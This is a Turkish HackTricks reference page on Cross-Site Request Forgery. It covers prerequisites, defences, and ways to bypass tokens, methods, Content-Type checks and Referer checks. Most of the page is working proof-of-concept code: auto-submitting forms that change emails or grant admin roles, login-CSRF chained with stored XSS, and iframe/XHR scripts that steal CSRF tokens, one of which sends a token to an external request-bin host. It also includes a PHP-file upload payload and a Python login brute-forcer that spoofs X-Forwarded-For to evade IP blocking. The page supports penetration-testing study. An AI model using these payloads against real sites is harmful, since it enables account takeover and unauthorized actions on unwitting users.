CSRF (Cross Site Request Forgery)

Reading time: 21 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Cross-Site Request Forgery (CSRF) Açıklaması

Cross-Site Request Forgery (CSRF), web uygulamalarında bulunan bir güvenlik açığı türüdür. Kimliği doğrulanmış oturumları kötüye kullanarak, saldırganların habersiz kullanıcılar adına işlemler gerçekleştirmesine olanak tanır. Saldırı, kullanıcının (kurban) oturumunun açık olduğu bir platformdayken kötü amaçlı bir siteyi ziyaret etmesiyle gerçekleştirilir. Bu site, JavaScript çalıştırma, formlar gönderme veya resimler getirerek kurban hesabına istekler tetikler.

CSRF Saldırısı İçin Önkoşullar

Bir CSRF açığından yararlanmak için birkaç koşulun sağlanması gerekir:

  1. Değerli Bir İşlemi Belirleme: Saldırgan, kullanıcının şifresini veya e-posta adresini değiştirmek, ayrıcalıkları yükseltmek gibi sömürülecek bir işlem bulmalıdır.
  2. Oturum Yönetimi: Kullanıcının oturumu yalnızca cookie'ler veya HTTP Basic Authentication header'ı ile yönetiliyor olmalıdır; diğer header'lar bu amaçla manipüle edilemez.
  3. Öngörülemez Parametrelerin Yokluğu: İstek öngörülemez parametreler içermemelidir; bu tür parametreler saldırıyı engelleyebilir.

Hızlı Kontrol

İsteği Burp ile yakalayıp CSRF korumalarını kontrol edebilir ve tarayıcıdan test etmek için Copy as fetch üzerine tıklayıp isteği inceleyebilirsiniz:

CSRF'ye Karşı Savunma

CSRF saldırılarına karşı uygulanabilecek bazı karşı önlemler:

  • SameSite cookies: Bu attribute, tarayıcının cross-site isteklerle birlikte cookie göndermesini engeller. More about SameSite cookies.
  • Cross-origin resource sharing: Hedef sitenin CORS politikası, özellikle saldırının victim sitesinin cevabını okuması gerekiyorsa, saldırının uygulanabilirliğini etkileyebilir. Learn about CORS bypass.
  • Kullanıcı Doğrulaması: Kullanıcının şifresini tekrar sormak veya captcha çöktürmek kullanıcının niyetini teyit edebilir.
  • Referrer veya Origin Header'larının Kontrolü: Bu header'ların doğrulanması, isteklerin güvenilir kaynaklardan gelip gelmediğini anlamaya yardımcı olur. Ancak kötü uygulanmış kontroller şu şekilde oluşturulan URL'lerle atlatılabilir:
    • http://mal.net?orig=http://example.com (URL güvenilir URL ile biter)
    • http://example.com.mal.net (URL güvenilir URL ile başlar)
  • Parametre İsimlerini Değiştirme: POST veya GET içindeki parametre isimlerinin değiştirilmesi otomatik saldırıları önlemeye yardımcı olabilir.
  • CSRF Token'ları: Her oturum için benzersiz bir CSRF token'ı dahil etmek ve sonraki isteklere bu token'ı zorunlu kılmak CSRF riskini ciddi şekilde azaltır. Token etkinliğini artırmak için CORS uygulanması teşvik edilir.

Bu savunmaları anlamak ve uygulamak, web uygulamalarının güvenliği ve bütünlüğünü korumak için kritiktir.

Savunmaların Yaygın Hataları

  • SameSite tuzakları: SameSite=Lax yine de bağlantılar ve form GET'leri gibi top-level cross-site navigasyonlara izin verir; bu yüzden birçok GET tabanlı CSRF hâlâ mümkün olabilir. Bkz. cookie matrisini Hacking with Cookies > SameSite.
  • Header kontrolleri: Origin mevcutsa doğrulayın; hem Origin hem Referer yoksa, kapalı başarısızlık (fail closed) uygulayın. Referer üzerinde substring/regex eşleşmelerine güvenmeyin; bunlar lookalike domainler veya hazırlanmış URL'lerle atlatılabilir. Ayrıca meta name="referrer" content="never" baskılayıcı taktiğini unutmayın.
  • Method override'ları: Override edilmiş method'ları (_method veya override header'ları) durum değiştiren (state-changing) olarak değerlendirin ve CSRF'yi etkin method üzerinde uygulayın, sadece POST'a uygulamakla yetinmeyin.
  • Login akışları: CSRF korumalarını giriş (login) için de uygulayın; aksi takdirde login CSRF, zorunlu yeniden kimlik doğrulama ile saldırgan kontrollü hesaplara giriş yapılmasına olanak sağlar ve bu durum stored XSS ile zincirlenebilir.

Defences Bypass

POST'tan GET'e (methoda bağlı CSRF doğrulama atlatması)

Bazı uygulamalar sadece POST üzerinde CSRF doğrulaması uygularken diğer HTTP verb'leri atlayabilir. PHP'de yaygın bir anti-pattern şu şekilde görünür:

php
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}

Eğer vulnerable endpoint aynı zamanda $_REQUEST üzerinden parametre kabul ediyorsa, aynı işlemi bir GET request olarak yeniden yapabilir ve CSRF token'ını tamamen atlayabilirsiniz. Bu, yalnızca POST olan bir işlemi token olmadan başarılı olan bir GET aksiyonuna çevirir.

Örnek:

  • Original POST with token (intended):
http
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded

__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
  • Bypass by switching to GET (no token):
http
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1

Notlar:

  • Bu desen sıklıkla reflected XSS ile birlikte ortaya çıkar; cevaplar yanlışlıkla application/html yerine text/html olarak servis edildiğinde görülür.
  • Bunu XSS ile eşleştirmek, sömürü engellerini büyük ölçüde düşürür çünkü tek bir GET linki ile hem vulnerable kod yolunu tetikleyebilir hem de CSRF kontrollerinden tamamen kaçınabilirsiniz.

Token yokluğu

Uygulamalar token'lar mevcut olduğunda validate tokens mekanizması uygulayabilir. Ancak token yokken validasyon tamamen atlanıyorsa bir vulnerability ortaya çıkar. Saldırganlar bunu, token'ı taşıyan parametreyi sadece değerini değil, parametreyi kaldırarak suistimal edebilir. Bu, validasyon sürecini atlatmalarına ve etkili bir Cross-Site Request Forgery (CSRF) attack gerçekleştirmelerine olanak tanır.

Ayrıca, bazı implementasyonlar sadece parametrenin varlığını kontrol eder ama içeriğini validate etmez; bu durumda empty token value is accepted. Bu durumda, isteği sadece csrf= ile göndermek yeterlidir:

http
POST /admin/users/role HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=guest&role=admin&csrf=

Minimal otomatik gönderim yapan PoC (gezinmeyi history.pushState ile gizleme):

html
<html>
<body>
<form action="https://example.com/admin/users/role" method="POST">
<input type="hidden" name="username" value="guest" />
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="csrf" value="" />
<input type="submit" value="Submit request" />
</form>
<script>history.pushState('', '', '/'); document.forms[0].submit();</script>
</body>
</html>

CSRF token kullanıcı oturumuna bağlı değil

Uygulamalar CSRF token'larını kullanıcı oturumlarına bağlamıyorsa önemli bir güvenlik riski oluşturur. Bu sistemler, her token'ın başlatan oturuma bağlı olduğundan emin olmak yerine token'ları küresel bir havuza karşı doğrular.

Saldırganlar bunu şu şekilde sömürür:

  1. Kendi hesabını kullanarak kimlik doğrulaması yapar.
  2. Geçerli bir CSRF token'ı edinir küresel havuzdan.
  3. Bu token'ı kullanır kurbana karşı bir CSRF saldırısında.

Bu zafiyet, saldırganların uygulamanın yetersiz token doğrulama mekanizmasını kullanarak kurban adına yetkisiz istekler yapmasına olanak tanır.

Yöntem atlatma

Eğer istek "tuhaf" bir method kullanıyorsa, method override fonksiyonunun çalışıp çalışmadığını kontrol edin. Örneğin, eğer PUT/DELETE/PATCH metodu kullanılıyorsa bir POST kullanıp override göndererek deneyebilirsiniz, örn. https://example.com/my/dear/api/val/num?_method=PUT.

Bu ayrıca _method parametresini bir POST gövdesi içinde göndererek veya override başlıklarını kullanarak da işe yarayabilir:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Laravel, Symfony, Express gibi framework'lerde yaygındır. Geliştiriciler bazen tarayıcıların bunları gönderemeyeceğini varsayarak POST olmayan HTTP metodlarında CSRF doğrulamasını atlarlar; override'larla yine bu işleyicilere POST ile ulaşabilirsiniz.

Örnek istek ve HTML PoC:

http
POST /users/delete HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

username=admin&_method=DELETE
html
<form method="POST" action="/users/delete">
<input name="username" value="admin">
<input type="hidden" name="_method" value="DELETE">
<button type="submit">Delete User</button>
</form>

Özel header token bypass

Eğer istek, custom header ile bir token ekliyorsa ve bu CSRF protection method olarak kullanılıyorsa, o zaman:

  • İsteği Customized Token ve ayrıca header olmadan test edin.
  • İsteği aynı same length fakat farklı bir token ile test edin.

Uygulamalar, token'ı hem bir cookie'de hem de bir request parametresinde çoğaltarak veya bir CSRF cookie'si ayarlayıp backend'e gönderilen token'ın cookie ile eşleşip eşleşmediğini doğrulayarak CSRF koruması uygulayabilir. Uygulama, request parametresindeki token'ın cookie'deki değere uyup uymadığını kontrol ederek istekleri doğrular.

Ancak, site saldırganın kurbanın tarayıcısına bir CSRF cookie'si ayarlamasına izin veren kusurlara sahipse (örneğin bir CRLF açığı), bu yöntem CSRF saldırılarına karşı savunmasızdır. Saldırgan bunu, cookie'yi ayarlayan aldatıcı bir image yükleyerek ve ardından CSRF saldırısını başlatarak kullanabilir.

Aşağıda bir saldırının nasıl yapılandırılabileceğine dair bir örnek var:

html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>

tip

Not: Eğer csrf token session cookie ile ilişkiliyse bu attack işe yaramaz çünkü victim'in session'ını sizin session'ınızla ayarlamanız gerekir ve bu yüzden kendinize saldırmış olursunuz.

Content-Type değişikliği

this'e göre, POST yöntemi kullanılırken preflight isteklerinden kaçınmak için izin verilen Content-Type değerleri şunlardır:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

Ancak, kullanılan Content-Type'a bağlı olarak server logic değişebilir; bu yüzden belirtilen değerleri ve diğerlerini, örneğin application/json,text/xml, application/xml. denemelisiniz.

Örnek (kaynak: here) JSON verisini text/plain olarak gönderme:

html
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>

JSON Verileri İçin Preflight İsteklerini Atlatma

Bir POST isteğiyle JSON veri göndermeye çalışırken, bir HTML formunda Content-Type: application/json kullanmak doğrudan mümkün değildir. Benzer şekilde, bu content-type'ı göndermek için XMLHttpRequest kullanmak bir preflight isteğini tetikler. Yine de, bu sınırlamayı atlatmak ve sunucunun Content-Type'e bakmaksızın JSON veriyi işleyip işlemediğini kontrol etmek için bazı yöntemler vardır:

  1. Alternatif Content-Type'lar kullanın: Formda enctype="text/plain" ayarlayarak Content-Type: text/plain veya Content-Type: application/x-www-form-urlencoded kullanın. Bu yaklaşım, backend'in Content-Type'e bakmaksızın veriyi kullanıp kullanmadığını test eder.
  2. Content-Type'ı değiştirin: Preflight isteğinden kaçınmak ve sunucunun içeriği JSON olarak algılamasını sağlamak için veriyi Content-Type: text/plain; application/json ile gönderebilirsiniz. Bu bir preflight isteği tetiklemez ancak sunucu application/json kabul edecek şekilde yapılandırıldıysa doğru şekilde işlenebilir.
  3. SWF Flash Dosyası Kullanımı: Daha az yaygın ama mümkün bir yöntem, bu kısıtlamaları atlatmak için bir SWF flash dosyası kullanmaktır. Bu tekniği derinlemesine anlamak için bkz. this post.

Referrer / Origin kontrollerini atlatma

Referrer header'ını engelleme

Uygulamalar yalnızca 'Referer' header'ı var olduğunda doğrulayabilir. Bir tarayıcının bu header'ı göndermesini engellemek için aşağıdaki HTML meta etiketi kullanılabilir:

xml
<meta name="referrer" content="never">

Bu, 'Referer' başlığının gönderilmemesini sağlar; bazı uygulamalarda doğrulama kontrollerinin atlatılmasına yol açabilir.

Regexp bypasses

URL Format Bypass

Referrer'ın parametreler içinde göndereceği URL'deki sunucunun alan adını ayarlamak için şu şekilde yapabilirsiniz:

html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>

HEAD method bypass

this CTF writeup dosyasının ilk kısmında Oak's source code açıklanıyor; bir routerın HEAD isteklerini GET istekleri olarak işleyecek şekilde ayarlandığı, ancak yanıt gövdesinin olmadığı belirtiliyor — bu Oak'a özgü olmayan yaygın bir çözüm. HEAD istekleriyle ilgilenen özel bir handler yerine, bunlar basitçe GET handler'a veriliyor fakat uygulama yanıt gövdesini kaldırıyor.

Bu nedenle, eğer bir GET isteği kısıtlanıyorsa, GET isteği olarak işlenecek bir HEAD isteği gönderebilirsiniz.

Exploit Examples

Stored CSRF via user-generated HTML

Rich-text editor'ların veya HTML injection'ın izin verildiği durumlarda, savunmasız bir GET endpoint'ine yönelen pasif bir fetch'i kalıcı hale getirebilirsiniz. İçeriği görüntüleyen herhangi bir kullanıcı, kendi çerezleriyle bu isteği otomatik olarak gerçekleştirecektir.

  • Eğer uygulama, kullanıcı oturumuna bağlı olmayan global bir CSRF token kullanıyorsa, aynı token tüm kullanıcılar için geçerli olabilir ve stored CSRF'yi birden fazla hedef arasında güvenilir kılar.

Yüklendiğinde görüntüleyenin e-postasını değiştiren minimal örnek:

html
<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">

Login CSRF chained with stored XSS

Login CSRF tek başına düşük etkili olabilir, ancak bunu kimlik doğrulamalı bir stored XSS ile zincirlemek güçlü hale gelir: kurbana saldırgan kontrollü bir hesaba kimlik doğrulaması zorlayın; bu bağlamda, kimlik doğrulamalı bir sayfadaki stored XSS çalışır ve token'ları çalabilir, oturumu ele geçirebilir veya ayrıcalıkları yükseltebilir.

  • Login endpoint'inin CSRF-able olduğundan emin olun (oturum başına token veya origin kontrolü yok) ve hiçbir kullanıcı etkileşimi engelinin bunu bloke etmediğinden emin olun.
  • Zorla giriş yapıldıktan sonra, saldırganın stored XSS payload'unu içeren sayfaya otomatik olarak yönlendir.

Minimal login-CSRF PoC:

html
<html>
<body>
<form action="https://example.com/login" method="POST">
<input type="hidden" name="username" value="attacker@example.com" />
<input type="hidden" name="password" value="StrongPass123!" />
<input type="submit" value="Login" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
// Optionally redirect to a page with stored XSS in the attacker account
// location = 'https://example.com/app/inbox';
</script>
</body>
</html>

Exfiltrating CSRF Token

Eğer bir CSRF token koruma olarak kullanılıyorsa, bir XSS zafiyeti veya bir Dangling Markup zafiyeti suistimal edilerek exfiltrate it deneyebilirsiniz.

GET using HTML tags

xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Otomatik olarak bir GET request göndermek için kullanılabilecek diğer HTML5 etiketleri şunlardır:

html
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>

Form GET isteği

html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Form POST isteği

html
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>

iframe aracılığıyla Form POST isteği

html
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>

Ajax POST isteği

html
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>

multipart/form-data POST isteği

javascript
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})

multipart/form-data POST isteği v2

javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
//  MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"

//xhr.send(body);
xhr.sendAsBinary(body)

Bir iframe içinden Form POST isteği

html
<--! expl.html -->

<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>

CSRF Token'ı çal ve bir POST isteği gönder

javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy")
}

function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}

var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()

CSRF Token'ı çal ve iframe, form ve Ajax kullanarak bir Post isteği gönder

html
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value

document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>

CSRF Token çalın ve bir iframe ile bir form kullanarak POST isteği gönderin

html
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>

<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>

Token çal ve 2 iframes kullanarak gönder

html
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTSteal Ajax ile CSRF tokenini çal ve bir form ile POST gönder

html
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>

<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>

CSRF ile Socket.IO

html
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")

const username = "admin"

socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>

CSRF Login Brute Force

Bu kod, bir CSRF token kullanarak bir login formuna Brut Force uygulamak için kullanılabilir (Ayrıca olası bir IP blacklisting'i atlatmaya çalışmak için X-Forwarded-For header'ını da kullanır):

python
import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Araçlar

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin